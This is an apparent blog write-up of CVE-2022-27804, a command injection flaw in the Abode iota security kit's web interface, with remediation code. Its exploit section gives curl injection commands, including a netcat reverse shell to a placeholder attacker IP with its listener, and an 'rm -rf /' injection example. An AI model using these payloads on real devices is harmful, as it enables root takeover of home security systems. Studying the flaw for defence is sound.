CVE-2022-27804 - OS Command Injection in Abode iota Security Kit’s Web Interface

The Internet of Things (IoT) brings a lot of convenience, but sometimes these smart devices have serious flaws. CVE-2022-27804 is one such flaw – it allows attackers to run arbitrary system commands on the Abode iota All-In-One Security Kit. In this post, we’ll break it down: what the vulnerability is, how an exploit works, proof-of-concept code, and tips to prevent such attacks.

What is CVE-2022-27804?

CVE-2022-27804 describes an *OS Command Injection* flaw in the Abode Systems iota All-In-One Security Kit web interface. Specifically, the issue is inside the util_set_abode_code functionality (a web-accessible API endpoint).

Impact: Arbitrary command execution as root (total device compromise)

This means anyone who can interact with the web interface could potentially *take control of your home security hub*.

References

- CVE record at NIST
- Original disclosure at Talos

Technical Background

Many embedded Device UIs expose a web API for user or installer interactions. However, sometimes, the backend code isn’t careful about what user input it allows.

In this device, the util_set_abode_code function lets users change some settings. Internally, this interface passes user-provided values directly into *OS shell commands* – without sanitizing input.

Here’s a simplified example illustrating the backend logic in unsafe Python-style pseudocode

def util_set_abode_code(request):
    code = request.POST.get("code")
    # Bad: Directly uses user input in a shell command
    os.system("set_abode_code --code " + code)

If an attacker sets code to something like 1234; rm -rf /, the system would run both commands, causing huge damage.

How to Exploit CVE-2022-27804

Prerequisite: Network access to the management web interface (typically local network, but possibly remote if exposed).

Exploit Steps

1. Craft a POST request to the vulnerable endpoint (/action/util_set_abode_code).

Inject shell metacharacters into the "code" parameter to execute arbitrary Linux commands.

3. Send the request and observe resulting system behavior (e.g., create a file, launch a reverse shell, etc.).

Example Exploit (Proof of Concept)

Below is a sample curl command that demonstrates how you could use this flaw to touch a file on the file system (/tmp/pwned).

curl -k -X POST \
     -d "code=1234;touch /tmp/pwned" \
     https://<target-device-ip>/action/util_set_abode_code

-k ignores SSL errors (common on embedded devices).

- Attacker sets code to 1234;touch /tmp/pwned.
- The server runs: set_abode_code --code 1234;touch /tmp/pwned
- /tmp/pwned proves code execution!

Replace touch /tmp/pwned with a simple reverse shell (assume BusyBox)

curl -k -X POST \
     -d 'code=1234;/bin/busybox nc <attacker-ip> 4444 -e /bin/sh' \
     https://<target-device-ip>/action/util_set_abode_code

You’d need a Netcat listener running on your attacking machine

nc -lvnp 4444

NOTE: Never run these exploits without permission, and only on devices you own or are authorized to test!

Here’s what safer backend code might look like (using Python’s subprocess)

import subprocess

def util_set_abode_code(request):
    code = request.POST.get("code")
    # Only allow numbers, minimum and maximum lengths
    if not (code.isdigit() and 4 <= len(code) <= 8):
        return "invalid code"

    # Safe: use argument list, not a shell string
    subprocess.run(["set_abode_code", "--code", code], check=True)

Conclusion

CVE-2022-27804 is a textbook example of how poor input validation leads to critical vulnerabilities – and why we must secure our smart devices. Always update device firmware and restrict network exposure. If you’re a manufacturer, prioritize secure coding practices to keep your users safe!

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 13:09:00 UTC

CVE-2022-27804 - OS Command Injection in Abode iota Security Kit’s Web Interface – Exploit Analysis and Remediation